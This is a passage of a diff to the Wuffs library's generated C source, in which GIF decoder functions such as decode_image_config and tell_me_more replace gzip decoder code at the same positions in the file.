self->private_impl.f_lzw_output_wi = v_output_wi; +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); + } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +- return wuffs_base__make_empty_struct(); +-} +- +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GIF) ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GZIP) ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +-// ---------------- Status Codes Implementations ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_image_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_gif__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } + +-const char wuffs_gzip__error__bad_checksum[] = "#gzip: bad checksum"; +-const char wuffs_gzip__error__bad_compression_method[] = "#gzip: bad compression method"; +-const char wuffs_gzip__error__bad_encoding_flags[] = "#gzip: bad encoding flags"; +-const char wuffs_gzip__error__bad_header[] = "#gzip: bad header"; +-const char wuffs_gzip__error__truncated_input[] = "#gzip: truncated input"; ++ ok: ++ self->private_impl.p_decode_image_config = 0; ++ goto exit; ++ } + +-// ---------------- Private Consts ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; + +-// ---------------- Private Initializer Prototypes ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} + +-// ---------------- Private Function Prototypes ++// -------- func gif.decoder.do_decode_image_config + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gzip__decoder__do_transform_io( +- wuffs_gzip__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf); +- +-// ---------------- VTables +- +-const wuffs_base__io_transformer__func_ptrs +-wuffs_gzip__decoder__func_ptrs_for__wuffs_base__io_transformer = { +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_gzip__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_gzip__decoder__history_retain_length), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_gzip__decoder__set_quirk), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__slice_u8))(&wuffs_gzip__decoder__transform_io), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_gzip__decoder__workbuf_len), +-}; ++wuffs_gif__decoder__do_decode_image_config( ++ wuffs_gif__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-// ---------------- Initializer Implementations ++ bool v_ffio = false; + +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_gzip__decoder__initialize( +- wuffs_gzip__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); +- } ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ if (self->private_impl.f_call_sequence != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } else if ( ! self->private_impl.f_seen_header) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_gif__decoder__decode_header(self, a_src); ++ if (status.repr) { ++ goto suspend; ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_gif__decoder__decode_lsd(self, a_src); ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_seen_header = true; + } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_gif__decoder__decode_up_to_id_part1(self, a_src); ++ if (status.repr) { ++ goto suspend; + } +- } +- +- { +- wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( +- &self->private_data.f_checksum, sizeof(self->private_data.f_checksum), WUFFS_VERSION, options); +- if (z.repr) { +- return z; ++ v_ffio = ! self->private_impl.f_gc_has_transparent_index; ++ if ( ! self->private_impl.f_quirks[2u]) { ++ v_ffio = (v_ffio && ++ (self->private_impl.f_frame_rect_x0 == 0u) && ++ (self->private_impl.f_frame_rect_y0 == 0u) && ++ (self->private_impl.f_frame_rect_x1 == self->private_impl.f_width) && ++ (self->private_impl.f_frame_rect_y1 == self->private_impl.f_height)); ++ } else if (v_ffio) { ++ self->private_impl.f_black_color_u32_argb_premul = 4278190080u; + } +- } +- { +- wuffs_base__status z = wuffs_deflate__decoder__initialize( +- &self->private_data.f_flate, sizeof(self->private_data.f_flate), WUFFS_VERSION, options); +- if (z.repr) { +- return z; ++ if (self->private_impl.f_background_color_u32_argb_premul == 77u) { ++ self->private_impl.f_background_color_u32_argb_premul = self->private_impl.f_black_color_u32_argb_premul; ++ } ++ if (a_dst != NULL) { ++ wuffs_base__image_config__set( ++ a_dst, ++ 2198077448u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ self->private_impl.f_frame_config_io_position, ++ v_ffio); ++ } ++ if (self->private_impl.f_call_sequence == 0u) { ++ self->private_impl.f_call_sequence = 32u; + } +- } +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = +- wuffs_base__io_transformer__vtable_name; +- self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = +- (const void*)(&wuffs_gzip__decoder__func_ptrs_for__wuffs_base__io_transformer); +- return wuffs_base__make_status(NULL); +-} + +-wuffs_gzip__decoder* +-wuffs_gzip__decoder__alloc(void) { +- wuffs_gzip__decoder* x = +- (wuffs_gzip__decoder*)(calloc(sizeof(wuffs_gzip__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_gzip__decoder__initialize( +- x, sizeof(wuffs_gzip__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; ++ goto ok; ++ ok: ++ self->private_impl.p_do_decode_image_config = 0; ++ goto exit; + } +- return x; +-} +- +-size_t +-sizeof__wuffs_gzip__decoder(void) { +- return sizeof(wuffs_gzip__decoder); +-} + +-// ---------------- Function Implementations +- +-// -------- func gzip.decoder.get_quirk +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_gzip__decoder__get_quirk( +- const wuffs_gzip__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + +- if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { +- return 1u; +- } +- return 0u; ++ goto exit; ++ exit: ++ return status; + } + +-// -------- func gzip.decoder.set_quirk ++// -------- func gif.decoder.set_report_metadata + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_gzip__decoder__set_quirk( +- wuffs_gzip__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_gif__decoder__set_report_metadata( ++ wuffs_gif__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report) { + if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ return wuffs_base__make_empty_struct(); + } + if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- +- if (a_key == 1u) { +- self->private_impl.f_ignore_checksum = (a_value > 0u); +- return wuffs_base__make_status(NULL); +- } +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); +-} +- +-// -------- func gzip.decoder.history_retain_length +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_gzip__decoder__history_retain_length( +- const wuffs_gzip__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ return wuffs_base__make_empty_struct(); + } + +- return 0u; +-} +- +-// -------- func gzip.decoder.workbuf_len +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_gzip__decoder__workbuf_len( +- const wuffs_gzip__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ if (a_fourcc == 1229144912u) { ++ self->private_impl.f_report_metadata_iccp = a_report; ++ } else if (a_fourcc == 1481461792u) { ++ self->private_impl.f_report_metadata_xmp = a_report; + } +- +- return wuffs_base__utility__make_range_ii_u64(1u, 1u); ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func gzip.decoder.transform_io ++// -------- func gif.decoder.tell_me_more + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_gzip__decoder__transform_io( +- wuffs_gzip__decoder* self, ++wuffs_gif__decoder__tell_me_more( ++ wuffs_gif__decoder* self, + wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +@@ -39737,7 +41163,7 @@ wuffs_gzip__decoder__transform_io( + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { ++ (self->private_impl.active_coroutine != 2)) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } +@@ -39746,17 +41172,17 @@ wuffs_gzip__decoder__transform_io( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_transform_io[0]; ++ uint32_t coro_susp_point = self->private_impl.p_tell_me_more; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_gzip__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); ++ wuffs_base__status t_0 = wuffs_gif__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_gzip__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_gif__error__truncated_input); + goto exit; + } + status = v_status; +@@ -39764,14 +41190,14 @@ wuffs_gzip__decoder__transform_io( + } + + ok: +- self->private_impl.p_transform_io[0] = 0; ++ self->private_impl.p_tell_me_more = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ self->private_impl.p_tell_me_more = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; + + goto exit; + exit: +@@ -39781,40 +41207,19 @@ wuffs_gzip__decoder__transform_io( + return status; + } + +-// -------- func gzip.decoder.do_transform_io ++// -------- func gif.decoder.do_tell_me_more + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gzip__decoder__do_transform_io( +- wuffs_gzip__decoder* self, ++wuffs_gif__decoder__do_tell_me_more( ++ wuffs_gif__decoder* self, + wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint8_t v_flags = 0; +- uint16_t v_xlen = 0; +- uint64_t v_mark = 0; +- uint32_t v_checksum_got = 0; +- uint32_t v_decoded_length_got = 0; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- uint32_t v_checksum_want = 0; +- uint32_t v_decoded_length_want = 0; ++ uint64_t v_chunk_length = 0; + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -39826,269 +41231,95 @@ wuffs_gzip__decoder__do_transform_io( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_transform_io[0]; +- if (coro_susp_point) { +- v_flags = self->private_data.s_do_transform_io[0].v_flags; +- v_checksum_got = self->private_data.s_do_transform_io[0].v_checksum_got; +- v_decoded_length_got = self->private_data.s_do_transform_io[0].v_decoded_length_got; +- v_checksum_want = self->private_data.s_do_transform_io[0].v_checksum_want; +- } ++ uint32_t coro_susp_point = self->private_impl.p_do_tell_me_more; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if (v_c != 31u) { +- status = wuffs_base__make_status(wuffs_gzip__error__bad_header); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; +- } +- if (v_c != 139u) { +- status = wuffs_base__make_status(wuffs_gzip__error__bad_header); ++ if (((uint8_t)(self->private_impl.f_call_sequence & 16u)) == 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); + goto exit; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_2 = *iop_a_src++; +- v_c = t_2; +- } +- if (v_c != 8u) { +- status = wuffs_base__make_status(wuffs_gzip__error__bad_compression_method); ++ if (self->private_impl.f_metadata_fourcc == 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); + goto exit; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_3 = *iop_a_src++; +- v_flags = t_3; +- } +- self->private_data.s_do_transform_io[0].scratch = 6u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (self->private_data.s_do_transform_io[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_transform_io[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_transform_io[0].scratch; +- if ((v_flags & 4u) != 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- uint16_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_4 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_transform_io[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; +- if (num_bits_4 == 8) { +- t_4 = ((uint16_t)(*scratch)); +- break; +- } +- num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)) << 56; +- } +- } +- v_xlen = t_4; +- } +- self->private_data.s_do_transform_io[0].scratch = ((uint32_t)(v_xlen)); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- if (self->private_data.s_do_transform_io[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_transform_io[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_transform_io[0].scratch; +- } +- if ((v_flags & 8u) != 0u) { ++ while (true) { + while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ if (wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) != self->private_impl.f_metadata_io_position) { ++ if (a_minfo != NULL) { ++ wuffs_base__more_information__set(a_minfo, ++ 2u, ++ 0u, ++ self->private_impl.f_metadata_io_position, ++ 0u, ++ 0u); + } +- uint8_t t_5 = *iop_a_src++; +- v_c = t_5; +- } +- if (v_c == 0u) { +- break; ++ status = wuffs_base__make_status(wuffs_base__suspension__mispositioned_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ continue; + } +- } +- } +- if ((v_flags & 16u) != 0u) { +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_minfo != NULL) { ++ wuffs_base__more_information__set(a_minfo, ++ 0u, ++ 0u, ++ 0u, ++ 0u, ++ 0u); + } +- uint8_t t_6 = *iop_a_src++; +- v_c = t_6; +- } +- if (v_c == 0u) { +- break; +- } +- } +- } +- if ((v_flags & 2u) != 0u) { +- self->private_data.s_do_transform_io[0].scratch = 2u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); +- if (self->private_data.s_do_transform_io[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_transform_io[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_transform_io[0].scratch; +- } +- if ((v_flags & 224u) != 0u) { +- status = wuffs_base__make_status(wuffs_gzip__error__bad_encoding_flags); +- goto exit; +- } +- while (true) { +- v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); +- { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- wuffs_base__status t_7 = wuffs_deflate__decoder__transform_io(&self->private_data.f_flate, a_dst, a_src, a_workbuf); +- v_status = t_7; +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ continue; + } ++ break; + } +- if ( ! self->private_impl.f_ignore_checksum) { +- v_checksum_got = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_checksum, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); +- v_decoded_length_got += ((uint32_t)(wuffs_base__io__count_since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst))))); +- } +- if (wuffs_base__status__is_ok(&v_status)) { ++ v_chunk_length = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); ++ if (v_chunk_length <= 0u) { ++ iop_a_src += 1u; + break; + } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(12); +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); +- uint32_t t_8; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; ++ if (self->private_impl.f_metadata_fourcc == 1481461792u) { ++ v_chunk_length += 1u; + } else { +- self->private_data.s_do_transform_io[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; +- uint32_t num_bits_8 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_8; +- if (num_bits_8 == 24) { +- t_8 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_8 += 8u; +- *scratch |= ((uint64_t)(num_bits_8)) << 56; +- } ++ iop_a_src += 1u; + } +- v_checksum_want = t_8; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); +- uint32_t t_9; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_9 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_transform_io[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; +- uint32_t num_bits_9 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_9; +- if (num_bits_9 == 24) { +- t_9 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_9 += 8u; +- *scratch |= ((uint64_t)(num_bits_9)) << 56; +- } ++ self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add(wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))), v_chunk_length); ++ if (a_minfo != NULL) { ++ wuffs_base__more_information__set(a_minfo, ++ 3u, ++ self->private_impl.f_metadata_fourcc, ++ 0u, ++ wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))), ++ self->private_impl.f_metadata_io_position); + } +- v_decoded_length_want = t_9; ++ status = wuffs_base__make_status(wuffs_base__suspension__even_more_information); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); + } +- if ( ! self->private_impl.f_ignore_checksum && ((v_checksum_got != v_checksum_want) || (v_decoded_length_got != v_decoded_length_want))) { +- status = wuffs_base__make_status(wuffs_gzip__error__bad_checksum); +- goto exit; ++ if (a_minfo != NULL) { ++ wuffs_base__more_information__set(a_minfo, ++ 3u, ++ self->private_impl.f_metadata_fourcc, ++ 0u, ++ self->private_impl.f_metadata_io_position, ++ self->private_impl.f_metadata_io_position); + } ++ self->private_impl.f_call_sequence &= 239u; ++ self->private_impl.f_metadata_fourcc = 0u; ++ self->private_impl.f_metadata_io_position = 0u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; + + ok: +- self->private_impl.p_do_transform_io[0] = 0; ++ self->private_impl.p_do_tell_me_more = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_transform_io[0].v_flags = v_flags; +- self->private_data.s_do_transform_io[0].v_checksum_got = v_checksum_got; +- self->private_data.s_do_transform_io[0].v_decoded_length_got = v_decoded_length_got; +- self->private_data.s_do_transform_io[0].v_checksum_want = v_checksum_want; ++ self->private_impl.p_do_tell_me_more = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -40096,2260 +41327,1143 @@ wuffs_gzip__decoder__do_transform_io( + return status; + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GZIP) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JPEG) ++// -------- func gif.decoder.num_animation_loops + +-// ---------------- Status Codes Implementations ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_gif__decoder__num_animation_loops( ++ const wuffs_gif__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +-const char wuffs_jpeg__error__bad_dht_marker[] = "#jpeg: bad DHT marker"; +-const char wuffs_jpeg__error__bad_dqt_marker[] = "#jpeg: bad DQT marker"; +-const char wuffs_jpeg__error__bad_dri_marker[] = "#jpeg: bad DRI marker"; +-const char wuffs_jpeg__error__bad_sof_marker[] = "#jpeg: bad SOF marker"; +-const char wuffs_jpeg__error__bad_sos_marker[] = "#jpeg: bad SOS marker"; +-const char wuffs_jpeg__error__bad_header[] = "#jpeg: bad header"; +-const char 